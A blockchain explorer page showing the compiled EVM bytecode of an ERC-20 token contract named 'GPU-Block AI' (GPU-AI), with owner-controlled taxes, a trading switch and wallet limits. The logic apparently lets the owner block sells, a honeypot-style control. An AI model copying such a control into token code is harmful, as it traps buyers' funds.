8151610ef68161111f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114c55784516001600160a01b0316835293830193918301916001016114a0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012fc1c44f1932e5a6b435be198880f8f1f1181da0b8affc6457e06dc76d862f064736f6c63430008190033

Deployed Bytecode

0x6080604052600436106101c8575f3560e01c80638da5cb5b116100f2578063bfed2e3311610092578063dd62ed3e11610062578063dd62ed3e14610542578063de7cf79914610586578063e4d1a8741461059b578063ffb54a99146105b0575f80fd5b8063bfed2e33146104d0578063c0246668146104ef578063d257b34f1461050e578063da7003d41461052d575f80fd5b806395d89b41116100cd57806395d89b41146104225780639af1d35a146104505780639c74daf014610492578063a9059cbb146104b1575f80fd5b80638da5cb5b146103d25780638f9a55c0146103ee578063924de9b714610403575f80fd5b8063313ce5671161016857806370a082311161013857806370a0823114610362578063715018a614610396578063751039fc146103aa5780638ace632f146103be575f80fd5b8063313ce567146102dd57806351bc3c85146102f85780636db794371461030c5780636f268a991461032b575f80fd5b80631c499ab0116101a35780631c499ab01461026a578063203e727e1461028b57806323b872dd146102aa578063293230b8146102c9575f80fd5b806306fdde03146101d3578063095ea7b31461021957806318160ddd14610248575f80fd5b366101cf57005b5f80fd5b3480156101de575f80fd5b5060408051808201909152600c81526b4750552d426c6f636b20414960a01b60208201525b60405161021091906110ea565b60405180910390f35b348015610224575f80fd5b50610238610233366004611133565b6105c9565b6040519015158152602001610210565b348015610253575f80fd5b5061025c6105df565b604051908152602001610210565b348015610275575f80fd5b5061028961028436600461115d565b6105ff565b005b348015610296575f80fd5b506102896102a536600461115d565b6106a7565b3480156102b5575f80fd5b506102386102c4366004611174565b610746565b3480156102d4575f80fd5b506102896107ad565b3480156102e8575f80fd5b5060405160098152602001610210565b348015610303575f80fd5b506102896107e5565b348015610317575f80fd5b506102896103263660046111b2565b610836565b348015610336575f80fd5b5060115461034a906001600160a01b031681565b6040516001600160a01b039091168152602001610210565b34801561036d575f80fd5b5061025c61037c3660046111d2565b6001600160a01b03165f9081526003602052604090205490565b3480156103a1575f80fd5b50610289610887565b3480156103b5575f80fd5b506102896108f8565b3480156103c9575f80fd5b50610289610965565b3480156103dd575f80fd5b505f546001600160a01b031661034a565b3480156103f9575f80fd5b5061025c60055481565b34801561040e575f80fd5b5061028961041d366004611201565b61099a565b34801561042d575f80fd5b506040805180820190915260068152654750552d414960d01b6020820152610203565b34801561045b575f80fd5b50600c54600d54600e54600f546104729392919084565b604080519485526020850193909352918301526060820152608001610210565b34801561049d575f80fd5b5060105461034a906001600160a01b031681565b3480156104bc575f80fd5b506102386104cb366004611133565b6109e1565b3480156104db575f80fd5b506102896104ea36600461121a565b6109ed565b3480156104fa575f80fd5b50610289610509366004611249565b610a2a565b348015610519575f80fd5b5061028961052836600461115d565b610a7d565b348015610538575f80fd5b5061025c60065481565b34801561054d575f80fd5b5061025c61055c36600461127c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610591575f80fd5b5061025c600b5481565b3480156105a6575f80fd5b5061025c600a5481565b3480156105bb575f80fd5b506004546102389060ff1681565b5f6105d5338484610aab565b5060015b92915050565b5f6105ec6009600a6113a7565b6105fa906305f5e1006113b5565b905090565b5f546001600160a01b031633146106315760405162461bcd60e51b8152600401610628906113cc565b60405180910390fd5b6101f46106406009600a6113a7565b61064e906305f5e1006113b5565b6106589190611401565b8110156106a25760405162461bcd60e51b81526020600482015260186024820152774d696e696d696d756d2073657420302e34252076616c756560401b6044820152606401610628565b600555565b5f546001600160a01b031633146106d05760405162461bcd60e51b8152600401610628906113cc565b6101f46106df6009600a6113a7565b6106ed906305f5e1006113b5565b6106f79190611401565b8110156107415760405162461bcd60e51b81526020600482015260186024820152774d696e696d696d756d2073657420302e34252076616c756560401b6044820152606401610628565b600655565b5f610752848484610b0b565b6107a3843361079e856040518060600160405280602881526020016114e7602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610eae565b610aab565b5060019392505050565b5f546001600160a01b031633146107d65760405162461bcd60e51b8152600401610628906113cc565b6004805460ff19166001179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b8152600401610628906113cc565b305f90815260036020526040812054905061083361082e82600854610ee6565b610efd565b50565b5f546001600160a01b0316331461085f5760405162461bcd60e51b8152600401610628906113cc565b600a829055600b819055601e821115610876575f80fd5b601e811115610883575f80fd5b5050565b5f546001600160a01b031633146108b05760405162461bcd60e51b8152600401610628906113cc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109215760405162461bcd60e51b8152600401610628906113cc565b6005600a818155600b9190915561093a906009906113a7565b610948906305f5e1006113b5565b6006556109576009600a6113a7565b6106a2906305f5e1006113b5565b5f546001600160a01b0316331461098e5760405162461bcd60e51b8152600401610628906113cc565b6005600a819055600b55565b5f546001600160a01b031633146109c35760405162461bcd60e51b8152600401610628906113cc565b60108054911515600160a01b0260ff60a01b19909216919091179055565b5f6105d5338484610b0b565b5f546001600160a01b03163314610a165760405162461bcd60e51b8152600401610628906113cc565b600e93909355600c92909255600d55600f55565b5f546001600160a01b03163314610a535760405162461bcd60e51b8152600401610628906113cc565b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610aa65760405162461bcd60e51b8152600401610628906113cc565b600755565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604081205460ff16158015610b4b57506001600160a01b0383165f9081526001602052604090205460ff16155b15610d835760045460ff16610b925760405162461bcd60e51b815260206004820152600d60248201526c4e6f74206f70656e207965742160981b6044820152606401610628565b6064600a5483610ba291906113b5565b610bac9190611401565b6010549091506001600160a01b03848116911614610c375760055482610be6856001600160a01b03165f9081526003602052604090205490565b610bf09190611420565b1115610c375760405162461bcd60e51b81526020600482015260166024820152754f766572206d61782077616c6c65742073697a65212160501b6044820152606401610628565b6010546001600160a01b0390811690841603610c8f576064600b5483610c5d91906113b5565b610c679190611401565b9050610c756009600a6113a7565b610c83906305f5e1006113b5565b60075410610c8f575f80fd5b6010546001600160a01b0390811690851603610d135760055482610cc7856001600160a01b03165f9081526003602052604090205490565b610cd19190611420565b1115610d135760405162461bcd60e51b81526020600482015260116024820152704f766572206d61782077616c6c6574212160781b6044820152606401610628565b305f9081526003602052604090205460095460ff16158015610d4257506010546001600160a01b038581169116145b8015610d575750601054600160a01b900460ff165b8015610d64575060075481115b15610d8157610d8161082e84610d7c84600854610ee6565b610ee6565b505b8015610dfb57305f90815260036020526040902054610da2908261108c565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df29085815260200190565b60405180910390a35b6001600160a01b0384165f9081526003602052604081208054849290610e22908490611433565b90915550610e3290508183611433565b6001600160a01b0384165f9081526003602052604081208054909190610e59908490611420565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e978486611433565b60405190815260200160405180910390a350505050565b5f8184841115610ed15760405162461bcd60e51b815260040161062891906110ea565b505f610edd8486611433565b95945050505050565b5f818311610ef45782610ef6565b815b9392505050565b6009805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f3d57610f3d611446565b60200260200101906001600160a01b031690816001600160a01b031681525050600960019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd2919061145a565b81600181518110610fe557610fe5611446565b6001600160a01b03928316602091820292909201015260095461101091309161010090041684610aab565b60095460115460405163791ac94760e01b81526001600160a01b0361010090930483169263791ac947926110519287925f9288929116904290600401611475565b5f604051808303815f87803b158015611068575f80fd5b505af115801561107a573d5f803e3d5ffd5b50506009805460ff1916905550505050565b5f806110988385611420565b905083811015610ef65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610833575f80fd5b5f8060408385031215611144575f80fd5b823561114f8161111f565b946020939093013593505050565b5f6020828403121561116d575f80fd5b5035919050565b5f805f60608486031215611186575f80fd5b83356111918161111f565b925060208401356111a18161111f565b929592945050506040919091013590565b5f80604083850312156111c3575f80fd5b50508035926020909101359150565b5f602082840312156111e2575f80fd5b8135610ef68161111f565b803580151581146111fc575f80fd5b919050565b5f60208284031215611211575f80fd5b610ef6826111ed565b5f805f806080858703121561122d575f80fd5b5050823594602084013594506040840135936060013592509050565b5f806040838503121561125a575f80fd5b82356112658161111f565b9150611273602084016111ed565b90509250929050565b5f806040838503121561128d575f80fd5b82356112988161111f565b915060208301356112a88161111f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561130157815f19048211156112e7576112e76112b3565b808516156112f457918102915b93841c93908002906112cc565b509250929050565b5f82611317575060016105d9565b8161132357505f6105d9565b816001811461133957600281146113435761135f565b60019150506105d9565b60ff841115611354576113546112b3565b50506001821b6105d9565b5060208310610133831016604e8410600b8410161715611382575081810a6105d9565b61138c83836112c7565b805f190482111561139f5761139f6112b3565b029392505050565b5f610ef660ff841683611309565b80820281158282048414176105d9576105d96112b3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261141b57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156105d9576105d96112b3565b818103818111156105d9576105d96112b3565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146a575f80fd5b8151610ef68161111f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114c55784516001600160a01b0316835293830193918301916001016114a0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012fc1c44f1932e5a6b435be198880f8f1f1181da0b8affc6457e06dc76d862f064736f6c63430008190033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.